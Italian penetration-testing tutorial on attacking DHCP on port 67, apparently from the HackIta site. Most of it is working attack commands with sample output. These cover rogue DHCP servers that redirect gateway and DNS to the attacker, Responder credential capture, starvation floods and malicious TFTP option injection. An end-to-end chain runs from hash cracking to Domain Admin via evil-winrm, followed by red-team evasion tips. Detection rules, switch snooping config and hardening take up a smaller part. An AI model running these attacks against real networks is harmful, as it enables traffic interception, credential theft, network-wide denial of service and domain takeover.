Porta 67 DHCP: Rogue Server, Starvation e MITM sulla Rete Interna

La porta 67 gestisce il DHCP Server (Dynamic Host Configuration Protocol) — il servizio che assegna automaticamente indirizzi IP, gateway, DNS e parametri di rete ai client. DHCP opera su UDP porta 67 (server listen) e comunica con client su porta 68, orchestrando l’intera configurazione IP di reti moderne senza intervento manuale. In penetration testing, la porta 67 espone attack surface critica: network mapping passivo (sniffing DHCP transactions rivela topologia completa), rogue DHCP server (MITM attacks via fake gateway/DNS), DHCP starvation (DoS esaurendo pool IP), e DHCP poisoning (inject malicious options). Compromettere DHCP significa controllare dove tutto il traffico di rete fluisce — gateway poisoning redirect ogni pacchetto through attacker box per inspection/modification.

DHCP sopravvive dal 1993 (RFC 2131) come automation standard per network configuration: in reti enterprise con migliaia di device, assegnazione IP manuale è impossibile. Alternative (IPv6 SLAAC, static IP) esistono ma DHCP rimane dominante al 95% in ambienti corporate. In CTF e lab, DHCP compare in network pentesting scenarios: internal network pivot, MITM setup, e passive reconnaissance.

Anatomia tecnica del protocollo DHCP #

DHCP usa UDP porta 67 (server) e UDP porta 68 (client) con processo “DORA” (Discover, Offer, Request, Acknowledge).

Flow DHCP DORA:

DISCOVER — Client broadcast 255.255.255.255:67: “Qualcuno ha un IP per me?”
OFFER — Server risponde al client: “Ecco IP disponibile 192.168.1.50”
REQUEST — Client broadcast: “Voglio 192.168.1.50”
ACKNOWLEDGE — Server conferma: “OK, 192.168.1.50 è tuo per 24 ore (lease time)”

Packet structure DHCP:

text

Message Type: 1 byte (1=Discover, 2=Offer, 3=Request, 5=Acknowledge)
Client MAC: 6 byte
Transaction ID: 4 byte (XID, matching request/response)
Your IP (yiaddr): 4 byte (IP assigned to client)
Server IP (siaddr): 4 byte (DHCP server IP)
Gateway IP (giaddr): 4 byte (Default gateway)
Client MAC Address: 16 byte (chaddr)
Server Name: 64 byte (optional)
Boot Filename: 128 byte (PXE boot)
Options: Variable (subnet mask, DNS, gateway, lease time, etc.)

DHCP Options critiche per pentest:

Option	Code	Significato	Attack vector
Subnet Mask	1	Network mask	Recon: subnet size
Router (Gateway)	3	Default gateway	Poisoning → MITM
DNS Server	6	DNS resolvers	Poisoning → DNS spoofing
Domain Name	15	Domain suffix	Recon: organization domain
Lease Time	51	IP lease duration	Starvation timing
DHCP Server ID	54	Server IP	Identify DHCP server
TFTP Server	66	TFTP server IP	Config file leak vector
WPAD	252	Proxy auto-config	Responder WPAD attacks

Le misconfigurazioni comuni: no DHCP snooping (allow rogue DHCP), pool size troppo piccolo (DoS facile), lease time troppo lungo (starvation persistente), e options disclosure (TFTP server exposes config files).

Enumerazione base #

Passive sniffing DHCP transactions:

bash

tcpdump -i eth0 -n port 67 or port 68

text

14:30:00.123 IP 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from aa:bb:cc:dd:ee:ff
14:30:00.456 IP 192.168.1.1.67 > 192.168.1.50.68: BOOTP/DHCP, Reply, length 300
  DHCP-Message Option 53, OFFER
  Subnet-Mask Option: 255.255.255.0
  Router Option: 192.168.1.1
  DNS-Server Option: 192.168.1.1, 8.8.8.8
  Domain-Name Option: "corp.internal"

Intelligence ricavata:

DHCP Server: 192.168.1.1
Gateway: 192.168.1.1 (stesso = router con DHCP integrato)
DNS: 192.168.1.1 + 8.8.8.8 (local resolver + Google fallback)
Domain: corp.internal (Active Directory domain)
Subnet: /24 (255.255.255.0)

Active DHCP discovery con nmap:

bash

nmap --script broadcast-dhcp-discover -e eth0

text

Pre-scan script results:
| broadcast-dhcp-discover:
|   Response 1 of 1:
|     IP Offered: 192.168.1.100
|     DHCP Server: 192.168.1.1
|     Server Identifier: 192.168.1.1
|     Subnet Mask: 255.255.255.0
|     Router: 192.168.1.1
|     Domain Name Server: 192.168.1.1, 8.8.8.8
|     Domain Name: corp.internal
|_    Lease Time: 86400 (1 day)

Enumerazione avanzata: DHCP fingerprinting #

Identify DHCP server type via options:

bash

# Wireshark filter: bootp
# Analyze DHCP Options field

Vendor	Distinctive Options	Fingerprint
Windows Server	Option 252 (WPAD), Option 81 (FQDN)	Microsoft DHCP
ISC DHCPd	Option 43 (vendor-specific), standard options	Linux/Unix DHCP
Cisco IOS	Option 150 (TFTP server list)	Cisco router DHCP
pfSense	Option 119 (domain search), minimalist	pfSense/FreeBSD

Rogue DHCP detection:

bash

# Multiple DHCP servers responding = potential rogue
tcpdump -i eth0 port 67 or port 68 | grep "DHCP-Message Option 53, OFFER"

Se >1 server risponde → rogue DHCP presente (attacker o misconfiguration).

Tecniche offensive #

1. Rogue DHCP server (MITM) #

Setup rogue DHCP con dnsmasq:

bash

# /etc/dnsmasq.conf
interface=eth0
dhcp-range=192.168.1.200,192.168.1.250,12h
dhcp-option=3,10.10.14.5   # Gateway = attacker IP (MITM)
dhcp-option=6,10.10.14.5   # DNS = attacker IP (DNS spoofing)
dhcp-authoritative

bash

# Enable IP forwarding
echo 1 > /proc/sys/net/ipv4/ip_forward

# Start rogue DHCP
systemctl start dnsmasq

Risultato: Nuovi client DHCP ricevono gateway/DNS pointando all’attacker → tutto il traffico passa through attacker box → full MITM.

Capture credentials con Responder:

bash

responder -I eth0 -wrf
# -w: WPAD proxy, -r: DHCP poisoning, -f: Force auth

2. DHCP starvation (DoS) #

Esaurire pool IP con yersinia:

bash

yersinia -I
# Select DHCP protocol → Launch attack → "sending DISCOVER flooding"

Yersinia invia migliaia di DHCP DISCOVER con MAC address spoofati diversi → server assegna tutti gli IP disponibili → legittimi client non ottengono IP → network DoS.

Impact: Rete inutilizzabile fino a lease expiration (default 24h) o DHCP server reboot.

3. DHCP option injection #

Inject malicious TFTP server option:

bash

# Rogue DHCP response con Option 66 (TFTP server)
dhcp-option=66,10.10.14.5  # TFTP server = attacker

# Setup fake TFTP server
atftpd --daemon --port 69 /tmp/tftp_root

Risultato: Client PXE boot o device network query TFTP server attacker → serve malicious config/firmware.

4. DHCP ACK spoofing #

bash

# Tool: [Ettercap](https://hackita.it/articoli/ettercap)
ettercap -T -M dhcp:192.168.1.0/24/192.168.1.100-192.168.1.150/10.10.14.5
# Pool: 192.168.1.100-150, Gateway spoofed: 10.10.14.5

Ettercap intercetta DHCP DISCOVER e risponde con fake OFFER prima del legittimo server.

Scenari pratici #

Scenario 1 — Passive recon via DHCP sniffing #

Contesto: pentest interno, accesso fisico LAN.

bash

# Fase 1: Network monitoring
tcpdump -i eth0 -w dhcp_capture.pcap port 67 or port 68
# Lasciare running per 30 minuti

bash

# Fase 2: Analysis con Wireshark
wireshark dhcp_capture.pcap
# Filter: bootp

Intelligence estratta:

Active hosts: 50 client MAC addresses seen
DHCP Server: 192.168.10.1 (Windows Server 2019)
Domain: victim.local (Active Directory)
DNS Servers: 192.168.10.10, 192.168.10.11 (Domain Controllers)
Subnets: Multiple VLAN options (Engineering: 192.168.20.0/24, Finance: 192.168.30.0/24)

Next steps: Target Domain Controllers, map VLAN segmentation per lateral movement.

Scenario 2 — Rogue DHCP MITM → credential harvest #

Contesto: internal pentest, goal MITM all traffic.

bash

# Fase 1: Rogue DHCP server
cat > /etc/dnsmasq.conf << EOF
interface=eth0
dhcp-range=192.168.1.50,192.168.1.100,8h
dhcp-option=3,10.10.14.5   # Gateway = attacker
dhcp-option=6,10.10.14.5   # DNS = attacker
dhcp-option=252,http://10.10.14.5/wpad.dat  # WPAD proxy
EOF

systemctl restart dnsmasq

bash

# Fase 2: IP forwarding + traffic capture
echo 1 > /proc/sys/net/ipv4/ip_forward
iptables -t nat -A POSTROUTING -o eth1 -j MASQUERADE
tcpdump -i eth0 -w mitm_traffic.pcap

bash

# Fase 3: [Responder](https://hackita.it/articoli/responder) credential harvesting
responder -I eth0 -wrf

text

[DHCP] Serving DHCP request from aa:bb:cc:dd:ee:ff
[HTTP] GET wpad.dat from 192.168.1.75
[HTTP] NTLMv2 Hash captured: CORP\jdoe:hash123...

bash

# Fase 4: Crack hash con [hashcat](https://hackita.it/articoli/hashcat)
hashcat -m 5600 hash.txt rockyou.txt
# jdoe:Password123!

Timeline: 1 ora da rogue DHCP a Domain credentials.

COSA FARE SE FALLISCE:

Se DHCP snooping attivo → switch blocca rogue DHCP, bypass non possibile senza switch compromise
Se lease time molto lungo (7 days) → client non rinnovano IP, starvation attack necessario prima
Se nessun client ottiene rogue DHCP → legittimo server risponde più veloce, aumentare priority (invio OFFER immediato)

Scenario 3 — DHCP starvation → rogue DHCP deployment #

Contesto: CTF network, disable legittimo DHCP per inject rogue.

bash

# Fase 1: DHCP starvation
yersinia -G
# GUI: DHCP → Attack → "sending DISCOVER flooding"
# Attendere 5 minuti fino pool exhaustion

bash

# Fase 2: Verify pool depletion
nmap --script broadcast-dhcp-discover
# No response (pool vuoto)

bash

# Fase 3: Deploy rogue DHCP
dnsmasq --no-daemon --dhcp-range=192.168.1.50,192.168.1.100 --dhcp-option=3,10.10.14.5

bash

# Fase 4: New clients get attacker gateway
# Monitor new DHCP leases
tail -f /var/log/syslog | grep dnsmasq
# dnsmasq-dhcp[1234]: DHCPACK(eth0) 192.168.1.50 aa:bb:cc:dd:ee:ff

Risultato: Tutti i nuovi client (o client con lease expired) ottengono attacker come gateway → MITM completo.

Toolchain integration #

Pipeline DHCP attack:

text

RECONNAISSANCE (Passive)
│
├─ tcpdump port 67/68                       → Network topology mapping
├─ Wireshark DHCP analysis                  → DHCP server, domain, DNS
└─ [nmap](https://hackita.it/articoli/nmap) broadcast-dhcp-discover   → Active DHCP query

ENUMERATION
│
├─ DHCP fingerprinting                      → Server type (Windows/Linux/Cisco)
├─ Option analysis                          → TFTP server, WPAD, domain
└─ Rogue DHCP detection                     → Security baseline

EXPLOITATION
│
├─ A) Rogue DHCP → Gateway poison → MITM → [Responder](https://hackita.it/articoli/responder) creds
├─ B) DHCP starvation → DoS → rogue deployment
├─ C) Option injection → TFTP/WPAD poison → config leak/cred harvest
└─ D) ACK spoofing → Faster response → gateway override

POST-EXPLOITATION
│
├─ Traffic analysis → credentials, SMB shares, internal services
├─ DNS poisoning → redirect internal domains → phishing
└─ Persistent MITM → long-term monitoring

Tabella comparativa DHCP attacks:

Attack	Difficulty	Impact	Detection	Use case
Passive sniffing	Easy	Low (recon only)	None	Initial network mapping
Rogue DHCP	Medium	High (MITM)	Medium (DHCP snooping)	Credential harvest
Starvation	Easy	High (DoS)	High (sudden pool depletion)	Force rogue DHCP acceptance
Option injection	Hard	Medium-High	Low	Targeted TFTP/WPAD attacks

Attack chain end-to-end #

Scenario: DHCP MITM → AD credentials → Domain Admin

text

[00:00] PASSIVE RECON
tcpdump -i eth0 port 67 or port 68
# Domain: corp.local, DNS: 10.10.10.10 (DC)

[00:05] ROGUE DHCP DEPLOYMENT
dnsmasq → Gateway: 10.10.14.5, DNS: 10.10.14.5

[00:10] RESPONDER LAUNCH
responder -I eth0 -wrf

[01:00] CREDENTIAL HARVEST
# [DHCP] 20 new leases issued
# [SMB] NTLMv2: CORP\admin:hash
# [HTTP] NTLMv2: CORP\jdoe:hash

[01:15] HASH CRACKING
hashcat -m 5600 hashes.txt rockyou.txt
# admin:Admin2024!

[01:20] DOMAIN ACCESS
[crackmapexec](https://hackita.it/articoli/crackmapexec) smb 10.10.10.10 -u admin -p Admin2024!
# [+] CORP\admin:Admin2024! (Pwn3d!)

[01:25] DOMAIN ADMIN
evil-winrm -i 10.10.10.10 -u admin -p Admin2024!
*Evil-WinRM* PS> whoami /groups
# BUILTIN\Administrators, CORP\Domain Admins

Timeline: 1.5 ore da DHCP sniffing a Domain Admin.

Detection & evasion #

Lato Blue Team #

DHCP server logs (Windows Server):

text

Event ID 1342: DHCP lease granted
Event ID 1043: DHCP pool depletion (starvation attack)
Event ID 1046: Rogue DHCP server detected

IoC critici:

Multiple DHCP servers su stessa subnet (rogue)
Sudden pool depletion (starvation)
High DHCP DISCOVER rate (flooding)
Unknown MAC addresses requesting leases (spoofing)

DHCP Snooping (Cisco switch):

text

Switch(config)# ip dhcp snooping
Switch(config)# ip dhcp snooping vlan 10,20
Switch(config)# interface GigabitEthernet0/1
Switch(config-if)# ip dhcp snooping trust   # Legittimo DHCP server port
Switch(config-if)# exit
Switch(config)# interface range GigabitEthernet0/2-24
Switch(config-if-range)# ip dhcp snooping limit rate 10  # Max 10 DHCP packets/sec

DHCP snooping blocca rogue DHCP su porte non-trusted.

IDS rule (Snort):

text

alert udp any 67 -> any 68 (msg:"Rogue DHCP Server Detected"; threshold:type both, track by_src, count 2, seconds 60; sid:1000100;)

Lato Red Team: evasion #

1. Slow DHCP starvation:

bash

# 1 DISCOVER ogni 10 secondi invece di flood
for i in {1..254}; do
  # Send DISCOVER con MAC spoofed
  sleep 10
done

2. Rogue DHCP con legitimate-looking options:

bash

# Copia esattamente le options del legittimo server
# Solo modifica Gateway e DNS subtly
dhcp-option=3,192.168.1.254  # Sembra gateway legittimo (vs .1)

3. Cleanup:

bash

# Stop rogue DHCP
systemctl stop dnsmasq

# Flush iptables rules
iptables -F
iptables -t nat -F

# Release captured IPs (se starvation)
# Non possibile — attendere lease expiration

Performance & scaling #

Passive sniffing overhead: Zero — read-only monitoring.

DHCP starvation speed:

bash

# yersinia flood rate: ~1000 DISCOVER/second
# /24 network (254 IPs) exhausted in: ~1 secondo
# Ma lease processing server-side: 5-30 secondi per /24

Rogue DHCP response time:

Critical — must respond faster than legittimo server. Typical: <50ms.

Tabelle tecniche #

Command reference #

Comando	Scopo	Note
`tcpdump -i eth0 port 67 or 68`	Passive DHCP sniffing	Capture all DHCP traffic
`nmap --script broadcast-dhcp-discover`	Active DHCP query	Request IP from DHCP
`yersinia -G`	DHCP attacks GUI	Starvation, rogue, etc
`dnsmasq --dhcp-range=...`	Rogue DHCP server	Lightweight DHCP daemon
`responder -I eth0 -wrf`	DHCP+WPAD poisoning	Credential harvesting
`dhcpd -cf /etc/dhcp/dhcpd.conf`	ISC DHCP server	Production DHCP server

DHCP packet types #

Type	Name	Direction	Function
1	DISCOVER	Client → Broadcast	“Need IP”
2	OFFER	Server → Client	“Here’s IP”
3	REQUEST	Client → Broadcast	“I want this IP”
5	ACK	Server → Client	“Confirmed”
4	DECLINE	Client → Server	“IP conflict”
8	INFORM	Client → Server	“Need options only”

Troubleshooting #

Errore	Causa	Fix
No DHCP response	Server offline or out of IPs	Check server status, pool size
Rogue DHCP not working	DHCP snooping enabled	Target switches without snooping
Starvation slow	Server has large pool (>1000 IPs)	Increase yersinia flood rate
Clients ignore rogue DHCP	Legittimo server risponde faster	Starvation attack prima
MITM not capturing traffic	IP forwarding disabled	`echo 1 > /proc/sys/net/ipv4/ip_forward`

FAQ #

DHCP snooping previene completamente rogue DHCP?

Sì se configurato correttamente su tutti gli switches. Ma se attacker ha accesso fisico a switch management o compromette trusted port, può bypass.

Posso fare DHCP attack da wireless?

Dipende. Se wireless è bridged a LAN (no isolation), sì. Se client isolation attivo, no — DHCP broadcasts bloccati tra wireless clients.

DHCP starvation è reversibile?

Sì, ma richiede tempo. Admin può: (1) Reboot DHCP server (flush pool), (2) Ridurre lease time, (3) Manually release leases. Default lease 24h → recovery naturale dopo 24h.

Rogue DHCP funziona su IPv6?

Sì. IPv6 usa DHCPv6 (UDP 546/547) o SLAAC. Rogue DHCPv6/Router Advertisement attacks esistono con simili vettori.

Come distinguo legittimo DHCP da rogue?

Check DHCP server IP via Option 54. Cross-reference con network documentation. Monitor sudden changes in DHCP server IP.

Cheat sheet finale #

Azione	Comando
Passive DHCP sniffing	`tcpdump -i eth0 port 67 or 68`
Active DHCP discovery	`nmap --script broadcast-dhcp-discover`
Rogue DHCP (dnsmasq)	`dnsmasq --dhcp-range=192.168.1.50,192.168.1.100`
DHCP starvation	`yersinia -G` → DHCP → Attack
Responder DHCP poison	`responder -I eth0 -wrf`
Check DHCP leases (Linux)	`cat /var/lib/dhcp/dhcpd.leases`
Check DHCP leases (Windows)	`netsh dhcp server show scope`
Release IP (client)	`dhclient -r; dhclient`

Perché DHCP resta rilevante #

Nel 2026, DHCP è automation backbone per network configuration — alternative manuali non scalano oltre 10 device. Enterprise networks (1000+ endpoints) richiedono DHCP per: laptop roaming, BYOD, guest WiFi, VoIP phones. IPv6 ha SLAAC come alternativa ma adoption è <20%. In pentest, DHCP MITM è top-5 internal network attack per facilità e impact — single rogue DHCP compromette intera rete senza authentication required.

DHCP vs alternative #

Method	Configuration	Scalability	Security
DHCP	Automatic	✅ High (1000s devices)	⚠️ Vulnerable to rogue/poisoning
Static IP	Manual	❌ Low (<50 devices)	✅ No DHCP attacks
IPv6 SLAAC	Automatic	✅ High	⚠️ Vulnerable to RA poisoning
APIPA	Automatic (169.254.x.x)	❌ Link-local only	N/A

DHCP rimane preferito per manageability.

Hardening DHCP #

DHCP Snooping (Cisco):

text

ip dhcp snooping
ip dhcp snooping vlan 10,20
interface GigabitEthernet0/1
 ip dhcp snooping trust
interface range GigabitEthernet0/2-48
 ip dhcp snooping limit rate 10

DHCP Server hardening (Windows Server):

powershell

# Enable conflict detection
Set-DhcpServerv4OptionValue -OptionId 82 -Value 1

# Reduce pool size (prevent starvation)
# Split /24 into smaller scopes

# Enable audit logging
Set-DhcpServerAuditLog -Enable $true

Network segmentation:

DHCP server on management VLAN
ACL restrict access to porta 67
Dedicated DHCP per VLAN (prevent cross-VLAN attacks)

OPSEC: DHCP in pentest #

Rogue DHCP è moderatamente rumoroso — DHCP snooping alert immediatamente. Best practices:

Check for snooping prima di rogue DHCP: show ip dhcp snooping
Passive first: Sniff 30 min prima di attacchi attivi
Targeted timing: Deploy rogue durante business hours (blend with legittimo traffic)
Remove rogue post-engagement (don’t leave running)

Disclaimer: Tutti i comandi sono destinati all’uso in ambienti autorizzati. Rogue DHCP e starvation attacks sono DoS — illegali senza autorizzazione scritta. L’autore e HackIta declinano responsabilità. RFC 2131: https://www.rfc-editor.org/rfc/rfc2131.html

Vuoi supportare HackIta? Visita hackita.it/supporto per donazioni. Per penetration test professionali e formazione 1:1, scopri hackita.it/servizi.

Porta 67 DHCP: Rogue Server, Starvation e MITM sulla Rete Interna

Anatomia tecnica del protocollo DHCP #

Enumerazione base #

Enumerazione avanzata: DHCP fingerprinting #

Tecniche offensive #

1. Rogue DHCP server (MITM) #

2. DHCP starvation (DoS) #

3. DHCP option injection #

4. DHCP ACK spoofing #

Scenari pratici #

Scenario 1 — Passive recon via DHCP sniffing #

Scenario 2 — Rogue DHCP MITM → credential harvest #

Scenario 3 — DHCP starvation → rogue DHCP deployment #

Toolchain integration #

Attack chain end-to-end #

Detection & evasion #

Lato Blue Team #

Lato Red Team: evasion #

Performance & scaling #

Tabelle tecniche #

Command reference #

DHCP packet types #

Troubleshooting #

FAQ #

Cheat sheet finale #

Perché DHCP resta rilevante #

DHCP vs alternative #

Hardening DHCP #

OPSEC: DHCP in pentest #

Relate Articles

DHCP: Cos’è, Come Funziona e Come Sfruttarlo in un Pentest

Porta 139 NetBIOS Session: Null Session, EternalBlue e SMB Relay su AD

Porta 95 SUPDUP: Remote Terminal Protocol Obsoleto (Rilevanza Storica

Porta 49 TACACS+: Shared Secret Crack e Network Takeover Cisco

Porta 90 PointCast: Cos'è e Cosa Fare se la Trovi Aperta nel 2026

Porta 37 Time Protocol: OS Fingerprinting e Recon su Sistemi Legacy

Porta 42 WINS: Mappa Completa della Rete Windows Senza Autenticazione

Anatomia tecnica del protocollo DHCP #

Enumerazione base #

Enumerazione avanzata: DHCP fingerprinting #

Tecniche offensive #

1. Rogue DHCP server (MITM) #

2. DHCP starvation (DoS) #

3. DHCP option injection #

4. DHCP ACK spoofing #

Scenari pratici #

Scenario 1 — Passive recon via DHCP sniffing #

Scenario 2 — Rogue DHCP MITM → credential harvest #

Scenario 3 — DHCP starvation → rogue DHCP deployment #

Toolchain integration #

Attack chain end-to-end #

Detection & evasion #

Lato Blue Team #

Lato Red Team: evasion #

Performance & scaling #

Tabelle tecniche #

Command reference #

DHCP packet types #

Troubleshooting #

FAQ #

Cheat sheet finale #

Perché DHCP resta rilevante #

DHCP vs alternative #

Hardening DHCP #

OPSEC: DHCP in pentest #

Relate Articles

DHCP: Cos’è, Come Funziona e Come Sfruttarlo in un Pentest

Porta 139 NetBIOS Session: Null Session, EternalBlue e SMB Relay su AD

Porta 95 SUPDUP: Remote Terminal Protocol Obsoleto (Rilevanza Storica

Porta 49 TACACS+: Shared Secret Crack e Network Takeover Cisco

Porta 90 PointCast: Cos'è e Cosa Fare se la Trovi Aperta nel 2026

Porta 37 Time Protocol: OS Fingerprinting e Recon su Sistemi Legacy

Porta 42 WINS: Mappa Completa della Rete Windows Senza Autenticazione

DIVENTA PARTE DELL’ÉLITE DELL’HACKING ETICO.